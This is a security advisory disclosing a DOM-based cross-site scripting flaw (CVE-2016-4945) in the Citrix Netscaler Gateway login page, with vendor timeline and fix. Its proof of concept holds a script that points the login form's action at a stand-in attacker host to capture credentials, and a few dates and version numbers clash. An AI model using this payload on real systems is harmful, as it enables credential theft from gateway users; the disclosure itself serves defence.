PERSICON Security Advisory
=======================================================================
              Title: Login Form Hijacking vulnerability
            Product: Citrix Netscaler
 Vulnerable Version: 11.0 Build 64.35
      Fixed Version: 11.0 Build 66.11
             CVE-ID: CVE-2016-4945
             Impact: medium
              found: 2015-04-07
                 by: Dr. Daniel Schliebner <dschliebner@persicon.com>
                     https://www.persicon.com
=======================================================================

Vendor Description:
-------------------
"Citrix (NASDAQ:CTXS) aims to power a world where people, organizations
and things are securely connected and accessible to make the 
extraordinary possible. Its technology makes the world's apps and 
data secure and easy to access, empowering people to work anywhere 
and at any time. Citrix provides a complete and integrated portfolio 
of Workspace-as-a-Service, application delivery, virtualization, mobility, 
network delivery and file sharing solutions that enables IT to ensure 
critical systems are securely available to users via the cloud or 
on-premise and across any device or platform. With annual revenue 
in 2015 of $3.28 billion, Citrix solutions are in use by more than 
400,000 organizations and over 100 million users globally." 
(https://www.citrix.com/about.html)


Vulnerability Description:
--------------------------
The login page of the Citrix Netscaler Gateway web frontend is 
vulnerable to a DOM-based Cross-Site-Scripting (XSS) vulnerability due
to improper sanitization of the content of the "NSC_TMAC" cookie.

The vulnerability is located in the file 
                 
         /vpn/js/gateway_login_form_view.js
         
in which the the cookie's content is - if set - written to the DOM
via JavaScript. This is done in the following excerpt:

var cookie_action = ns_getcookie("NSC_TMAC"); 
var action_url= '/cgi/login'; 
if (cookie_action) { 
  action_url = cookie_action;
  UnsetCookie("NSC_TMAC");

This vulnerability can be exploited by an unauthorized remote attacker
by forging the destination address of the login formular in order to
receive login credentials of a victim. This can be achieved by for
example using another XSS vulnerability on the companies web page.


Proof of concept:
-----------------
Assume this vulnerability resides on https://my-foobar-company.com/vpn/.
Assume further, an attacker is able to set a cookie on a victims client
via some other attack vector like, e.g., another XSS vulnerability.

The attacker needs to first (e.g. by XSS) execute the following code
on the client:

<script>
document.cookie='NSC_TMAC=https://attack.ers/receive/;' + 
 ' domain=.my-foobar-company.com';
window.location.href='https://my-foobar-company.com/vpn/'
</script>

As a consequence, the Netscaler Gateway login formular has the url
"https://attack.ers/receive/" as the value in its "action" attribute
and hence a victim will sent its credentials to the attackers
host when submitting the formular.


Vulnerable / tested versions:
-----------------------------
Citrix Netscaler 11.0 Build 65.31
Citrix Netscaler 11.0 Build 64.34


Vendor contact timeline:
------------------------
2016-04-11: Contacting vendor through secure@citrix.com 
2015-04-11: Vendor response - issue has now the case ID CASE-6597 
            and will be forwarded for feedback 
2016-04-12: Vendor response - issue will be reviewed
2016-04-25: Vendor response - issue will be fixed
2016-05-24: Vendor response - issue is fixed in the upcoming
            release on 26th May
2016-05-26: Vendor response - issue is fixed in the upcoming
            release at 5pm PDT on 26th May
2016-05-27: Status update - fix released by vendor
2016-05-27: Coordinated release of the security advisory


Solution:
---------
Remove the use of the cookie content or sanitize its content properly
before writing it to the DOM.


References
----------
[1] https://support.citrix.com/article/CTX213313


URL
---
https://persicon.com/tl_files/advisories/PERSICON-advisory-2016-No-1-citrix.t
xt